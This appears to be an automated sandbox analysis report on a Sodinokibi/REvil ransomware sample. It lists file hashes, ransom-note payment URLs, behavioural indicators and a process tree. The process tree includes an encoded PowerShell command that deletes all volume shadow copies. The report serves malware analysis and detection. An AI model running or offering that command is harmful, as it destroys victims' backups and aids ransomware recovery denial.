Analysis
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max time kernel
119s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240704-en -
resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system -
submitted
18-09-2024 06:27
Behavioral task
behavioral1
Sample
e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe
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Size
165KB
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MD5
e882b3bcda9db4042ee8dee6473523ab
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SHA1
3e47eee25cc560ce89a8b008de69eb2a3e4bef8f
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SHA256
9dce03d33e8ae4b25d93554dc675fe7d2ea68b5fef6167c533bb92e3d38b2696
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SHA512
1d2b3ea2fad4de43f54c47208ea23bb7eb5bab1ac3b6d5fc6f3e49b4ff699b1dcdb9cfed69f1d271ab44531a29b6402f715df2ca9cb8382747431d5bfceec71f
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SSDEEP
3072:eCEq0R0nZ5ys5n4Y9doh7O79siUs/NajesXR+hyzozm:lw02sJPi7O93NQc
Malware Config
Extracted
C:\Users\lp14h2577n-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/64EEF8875A215BF7
http://decryptor.top/64EEF8875A215BF7
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\L: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\P: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\T: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\V: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\Y: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\E: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\I: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\J: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\A: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\N: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\U: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\D: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\B: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\M: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\S: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\F: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\Q: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\R: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\H: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\W: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\X: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\K: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\O: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened (read-only) \??\Z: e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\837aaj340.bmp" e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe -
Drops file in Program Files directory 41 IoCs
description ioc Process File opened for modification \??\c:\program files\BlockCompress.shtml e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\ConnectSend.WTV e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\ExportGrant.midi e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\SelectCheckpoint.cfg e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\lp14h2577n-readme.txt e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\BackupSubmit.dwg e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\CopyAdd.csv e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\LimitBlock.kix e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File created \??\c:\program files (x86)\lp14h2577n-readme.txt e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\RepairAssert.midi e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\SkipUnregister.vsw e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\UnlockGet.mov e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\lp14h2577n-readme.txt e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\ClearSwitch.asp e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\CompleteCopy.xlsb e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\DenySuspend.xla e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\EditExpand.xml e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\GetAssert.wdp e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\InstallConvertTo.wmv e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\ConvertFromUnprotect.mht e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\FormatDeny.tiff e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\ImportPush.mpeg2 e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\RemoveClose.ini e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File created \??\c:\program files\lp14h2577n-readme.txt e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\ExitAdd.ogg e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\GroupEnable.ppt e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\RepairOut.rtf e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\RequestFormat.xps e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\UnpublishCompress.avi e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\GetEnter.edrwx e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\RestartSearch.aiff e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\SyncUnregister.avi e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\UnlockRedo.mp2v e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\ExportConvertFrom.reg e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\InvokeRename.gif e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\JoinSplit.asf e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\LockTrace.crw e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\NewPush.wvx e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\SearchGrant.wmf e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File opened for modification \??\c:\program files\StartUse.vdw e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe File created \??\c:\program files (x86)\microsoft sql server compact edition\v3.5\desktop\lp14h2577n-readme.txt e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2720 e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe 2912 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2912 powershell.exe Token: SeBackupPrivilege 2680 vssvc.exe Token: SeRestorePrivilege 2680 vssvc.exe Token: SeAuditPrivilege 2680 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2720 wrote to memory of 2912 2720 e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe 30 PID 2720 wrote to memory of 2912 2720 e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe 30 PID 2720 wrote to memory of 2912 2720 e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe 30 PID 2720 wrote to memory of 2912 2720 e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe 30 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\e882b3bcda9db4042ee8dee6473523ab_JaffaCakes118.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2912
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2896
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2680
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
6KB
MD5960df161b497b5fb12e1207447486361
SHA1e639c9950ebd96a45776ba28df7db4bf57f96f46
SHA25673c50d0bddce35634e3ffb2703a5497a84738145d271cd0eb24ef84bf85a77fa
SHA512ffd90a6cbaffd23a8d171eebb2cd790f80b2efdae3f3333aca1e604f19c6821a69e98b1fac92fc0c7673f69e5bc88c8830efd518e6fef8f13151bfe323120144